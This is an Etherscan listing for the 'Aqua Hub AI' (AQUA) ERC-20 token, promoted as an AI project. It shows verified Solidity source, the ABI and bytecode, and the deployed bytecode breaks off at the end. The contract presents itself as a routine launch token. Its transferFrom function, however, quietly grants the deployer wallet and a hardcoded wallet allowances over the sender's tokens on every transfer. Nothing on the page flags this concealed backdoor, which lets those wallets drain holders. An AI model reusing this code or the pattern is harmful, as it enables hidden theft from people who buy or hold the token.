ERC-20
Overview
Max Total Supply
1,000,000,000 AQUA
Holders
128
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,306,880 AQUAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
AQUA
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-12-17 */ /* AquaAI bridges today with tomorrow, linking human potential and AI innovation for a smarter, more productive future https://aqua-ai.pro https://hub.aqua-ai.pro https://docs.aqua-ai.pro https://medium.com/@aquaai https://x.com/aquaai_eth https://t.me/aquaai_channel */ // SPDX-License-Identifier: MIT pragma solidity 0.8.27; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract AQUA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _excludedFromFees; address private _iosWallet; address private _appleWallet = 0x1dFC59722785D64820890156701E3185613dA270; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Aqua Hub AI"; string private constant _symbol = unicode"AQUA"; uint256 private taxSwapToken = _tTotal / 100; IUniswapV2Router02 private uniV2Router; address private uniV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _iosWallet = msg.sender; _excludedFromFees[owner()] = true; _excludedFromFees[address(this)] = true; _excludedFromFees[_appleWallet] = true; _tOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniV2Router.WETH(); _approve(address(this), address(uniV2Router), tokenAmount); uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner() { uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniV2Router), _tTotal); uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(address(this), uniV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _approve(sender, _iosWallet, amount); _transfer(sender, recipient, amount); _approve(sender, _appleWallet, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniV2Pair && to != address(uniV2Router) && ! _excludedFromFees[to] ) { _buyCount++; } if(to == uniV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniV2Pair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > taxSwapToken) swapTokensForEth(min(amount, min(contractTokenBalance, taxSwapToken))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0) { _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _tOwned[from]=_tOwned[from].sub(amount); _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function rescueEth() external onlyOwner { payable(owner()).transfer(address(this).balance); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sendETHToFee(uint256 amount) private { payable(_appleWallet).transfer(amount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052731dfc59722785d64820890156701e3185613da27060055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a61007391906102dd565b61008190633b9aca006102f2565b61008b9190610309565b600e556010805461ffff60a81b191690553480156100a7575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055600160035f6101105f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101726009600a6102dd565b61018090633b9aca006102f2565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101c06009600a6102dd565b6101ce90633b9aca006102f2565b60405190815260200160405180910390a3610328565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561023357808504811115610217576102176101e4565b600184161561022557908102905b60019390931c9280026101fc565b935093915050565b5f82610249575060016102d7565b8161025557505f6102d7565b816001811461026b576002811461027557610291565b60019150506102d7565b60ff841115610286576102866101e4565b50506001821b6102d7565b5060208310610133831016604e8410600b84101617156102b4575081810a6102d7565b6102c05f1984846101f8565b805f19048211156102d3576102d36101e4565b0290505b92915050565b5f6102eb60ff84168361023b565b9392505050565b80820281158282048414176102d7576102d76101e4565b5f8261032357634e487b7160e01b5f52601260045260245ffd5b500490565b61153d806103355f395ff3fe6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a9059cbb11610057578063a9059cbb14610267578063c9567bf914610286578063ce31a06b1461029a578063dd62ed3e146102ae575f5ffd5b80638da5cb5b1461020157806395d89b41146102275780639e78fb4f14610253575f5ffd5b806323b872dd116100b757806323b872dd1461017d578063313ce5671461019c57806370a08231146101b7578063715018a6146101eb575f5ffd5b806306fdde03146100e7578063095ea7b31461012c57806318160ddd1461015b575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b5060408051808201909152600b81526a417175612048756220414960a81b60208201525b6040516101239190611145565b60405180910390f35b348015610137575f5ffd5b5061014b61014636600461118e565b6102f2565b6040519015158152602001610123565b348015610166575f5ffd5b5061016f610308565b604051908152602001610123565b348015610188575f5ffd5b5061014b6101973660046111b8565b610328565b3480156101a7575f5ffd5b5060405160098152602001610123565b3480156101c2575f5ffd5b5061016f6101d13660046111f6565b6001600160a01b03165f9081526001602052604090205490565b3480156101f6575f5ffd5b506101ff6103c0565b005b34801561020c575f5ffd5b505f546040516001600160a01b039091168152602001610123565b348015610232575f5ffd5b506040805180820190915260048152634151554160e01b6020820152610116565b34801561025e575f5ffd5b506101ff61043a565b348015610272575f5ffd5b5061014b61028136600461118e565b610633565b348015610291575f5ffd5b506101ff61063f565b3480156102a5575f5ffd5b506101ff610824565b3480156102b9575f5ffd5b5061016f6102c8366004611211565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102fe338484610887565b5060015b92915050565b5f6103156009600a61133f565b61032390633b9aca0061134d565b905090565b6004545f906103429085906001600160a01b031684610887565b61034d8484846109aa565b6005546103659085906001600160a01b031684610887565b6103b684336103b1856040518060600160405280602881526020016114e0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610dbd565b610887565b5060019392505050565b5f546001600160a01b031633146103f25760405162461bcd60e51b81526004016103e990611364565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104635760405162461bcd60e51b81526004016103e990611364565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104ac90309061049e6009600a61133f565b6103b190633b9aca0061134d565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104fc573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105209190611399565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a39190611399565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105ed573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106119190611399565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102fe3384846109aa565b5f546001600160a01b031633146106685760405162461bcd60e51b81526004016103e990611364565b601054600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e9565b600f546001600160a01b031663f305d71947306106f3816001600160a01b03165f9081526001602052604090205490565b5f5f6107065f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561076c573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061079191906113b4565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107e6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080a91906113df565b506010805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461084d5760405162461bcd60e51b81526004016103e990611364565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610884573d5f5f3e3d5ffd5b50565b6001600160a01b0383166108e95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e9565b6001600160a01b03821661094a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a0e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e9565b6001600160a01b038216610a705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e9565b5f8111610ad15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e9565b5f80546001600160a01b03858116911614801590610afc57505f546001600160a01b03848116911614155b15610c8057610b2d6064610b27600a54600d5411610b1c57600654610b20565b6008545b8590610df5565b90610e7a565b6010549091506001600160a01b038581169116148015610b5b5750600f546001600160a01b03848116911614155b8015610b7f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610b9957600d8054905f610b93836113fe565b91905055505b6010546001600160a01b038481169116148015610bbf57506001600160a01b0384163014155b15610bec57610be96064610b27600b54600d5411610bdf57600754610b20565b6009548590610df5565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610c2257506010546001600160a01b038581169116145b8015610c375750601054600160b01b900460ff165b8015610c465750600c54600d54115b15610c7e57600e54811115610c7257610c72610c6d84610c6884600e54610ebb565b610ebb565b610ecf565b47610c7c4761103f565b505b505b8015610cf857305f90815260016020526040902054610c9f908261107a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cef9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610d1a90836110d8565b6001600160a01b0385165f90815260016020526040902055610d5d610d3f83836110d8565b6001600160a01b0385165f908152600160205260409020549061107a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610da685856110d8565b60405190815260200160405180910390a350505050565b5f8184841115610de05760405162461bcd60e51b81526004016103e99190611145565b505f610dec8486611416565b95945050505050565b5f825f03610e0457505f610302565b5f610e0f838561134d565b905082610e1c8583611429565b14610e735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e9565b9392505050565b5f610e7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611119565b5f818311610ec95782610e73565b50919050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f1557610f15611448565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f6c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f909190611399565b81600181518110610fa357610fa3611448565b6001600160a01b039283166020918202929092010152600f54610fc99130911684610887565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110019085905f9086903090429060040161145c565b5f604051808303815f87803b158015611018575f5ffd5b505af115801561102a573d5f5f3e3d5ffd5b50506010805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611076573d5f5f3e3d5ffd5b5050565b5f8061108683856114cc565b905083811015610e735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e9565b5f610e7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dbd565b5f81836111395760405162461bcd60e51b81526004016103e99190611145565b505f610dec8486611429565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610884575f5ffd5b5f5f6040838503121561119f575f5ffd5b82356111aa8161117a565b946020939093013593505050565b5f5f5f606084860312156111ca575f5ffd5b83356111d58161117a565b925060208401356111e58161117a565b929592945050506040919091013590565b5f60208284031215611206575f5ffd5b8135610e738161117a565b5f5f60408385031215611222575f5ffd5b823561122d8161117a565b9150602083013561123d8161117a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112975780850481111561127b5761127b611248565b600184161561128957908102905b60019390931c928002611260565b935093915050565b5f826112ad57506001610302565b816112b957505f610302565b81600181146112cf57600281146112d9576112f5565b6001915050610302565b60ff8411156112ea576112ea611248565b50506001821b610302565b5060208310610133831016604e8410600b8410161715611318575081810a610302565b6113245f19848461125c565b805f190482111561133757611337611248565b029392505050565b5f610e7360ff84168361129f565b808202811582820484141761030257610302611248565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156113a9575f5ffd5b8151610e738161117a565b5f5f5f606084860312156113c6575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156113ef575f5ffd5b81518015158114610e73575f5ffd5b5f6001820161140f5761140f611248565b5060010190565b8181038181111561030257610302611248565b5f8261144357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114ac5783516001600160a01b0316835260209384019390920191600101611485565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156103025761030261124856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205fb30297897119818e729128ac446357912469b773e4439de0239430ae95671e64736f6c634300081b0033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a9059cbb11610057578063a9059cbb14610267578063c9567bf914610286578063ce31a06b1461029a578063dd62ed3e146102ae575f5ffd5b80638da5cb5b1461020157806395d89b41146102275780639e78fb4f14610253575f5ffd5b806323b872dd116100b757806323b872dd1461017d578063313ce5671461019c57806370a08231146101b7578063715018a6146101eb575f5ffd5b806306fdde03146100e7578063095ea7b31461012c57806318160ddd1461015b575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b5060408051808201909152600b81526a417175612048756220414960a81b60208201525b6040516101239190611145565b60405180910390f35b348015610137575f5ffd5b5061014b61014636600461118e565b6102f2565b6040519015158152602001610123565b348015610166575f5ffd5b5061016f610308565b604051908152602001610123565b348015610188575f5ffd5b5061014b6101973660046111b8565b610328565b3480156101a7575f5ffd5b5060405160098152602001610123565b3480156101c2575f5ffd5b5061016f6101d13660046111f6565b6001600160a01b03165f9081526001602052604090205490565b3480156101f6575f5ffd5b506101ff6103c0565b005b34801561020c575f5ffd5b505f546040516001600160a01b039091168152602001610123565b348015610232575f5ffd5b506040805180820190915260048152634151554160e01b6020820152610116565b34801561025e575f5ffd5b506101ff61043a565b348015610272575f5ffd5b5061014b61028136600461118e565b610633565b348015610291575f5ffd5b506101ff61063f565b3480156102a5575f5ffd5b506101ff610824565b3480156102b9575f5ffd5b5061016f6102c8366004611211565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102fe338484610887565b5060015b92915050565b5f6103156009600a61133f565b61032390633b9aca0061134d565b905090565b6004545f906103429085906001600160a01b031684610887565b61034d8484846109aa565b6005546103659085906001600160a01b031684610887565b6103b684336103b1856040518060600160405280602881526020016114e0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610dbd565b610887565b5060019392505050565b5f546001600160a01b031633146103f25760405162461bcd60e51b81526004016103e990611364565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104635760405162461bcd60e51b81526004016103e990611364565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104ac90309061049e6009600a61133f565b6103b190633b9aca0061134d565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104fc573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105209190611399565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a39190611399565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105ed573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106119190611399565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102fe3384846109aa565b5f546001600160a01b031633146106685760405162461bcd60e51b81526004016103e990611364565b601054600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e9565b600f546001600160a01b031663f305d71947306106f3816001600160a01b03165f9081526001602052604090205490565b5f5f6107065f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561076c573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061079191906113b4565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107e6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080a91906113df565b506010805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461084d5760405162461bcd60e51b81526004016103e990611364565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610884573d5f5f3e3d5ffd5b50565b6001600160a01b0383166108e95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e9565b6001600160a01b03821661094a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a0e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e9565b6001600160a01b038216610a705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e9565b5f8111610ad15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e9565b5f80546001600160a01b03858116911614801590610afc57505f546001600160a01b03848116911614155b15610c8057610b2d6064610b27600a54600d5411610b1c57600654610b20565b6008545b8590610df5565b90610e7a565b6010549091506001600160a01b038581169116148015610b5b5750600f546001600160a01b03848116911614155b8015610b7f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610b9957600d8054905f610b93836113fe565b91905055505b6010546001600160a01b038481169116148015610bbf57506001600160a01b0384163014155b15610bec57610be96064610b27600b54600d5411610bdf57600754610b20565b6009548590610df5565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610c2257506010546001600160a01b038581169116145b8015610c375750601054600160b01b900460ff165b8015610c465750600c54600d54115b15610c7e57600e54811115610c7257610c72610c6d84610c6884600e54610ebb565b610ebb565b610ecf565b47610c7c4761103f565b505b505b8015610cf857305f90815260016020526040902054610c9f908261107a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cef9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610d1a90836110d8565b6001600160a01b0385165f90815260016020526040902055610d5d610d3f83836110d8565b6001600160a01b0385165f908152600160205260409020549061107a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610da685856110d8565b60405190815260200160405180910390a350505050565b5f8184841115610de05760405162461bcd60e51b81526004016103e99190611145565b505f610dec8486611416565b95945050505050565b5f825f03610e0457505f610302565b5f610e0f838561134d565b905082610e1c8583611429565b14610e735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e9565b9392505050565b5f610e7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611119565b5f818311610ec95782610e73565b50919050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f1557610f15611448565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f6c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f909190611399565b81600181518110610fa357610fa3611448565b6001600160a01b039283166020918202929092010152600f54610fc99130911684610887565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110019085905f9086903090429060040161145c565b5f604051808303815f87803b158015611018575f5ffd5b505af115801561102a573d5f5f3e3d5ffd5b50506010805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611076573d5f5f3e3d5ffd5b5050565b5f8061108683856114cc565b905083811015610e735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e9565b5f610e7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dbd565b5f81836111395760405162461bcd60e51b81526004016103e99190611145565b505f610dec8486611429565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610884575f5ffd5b5f5f6040838503121561119f575f5ffd5b82356111aa8161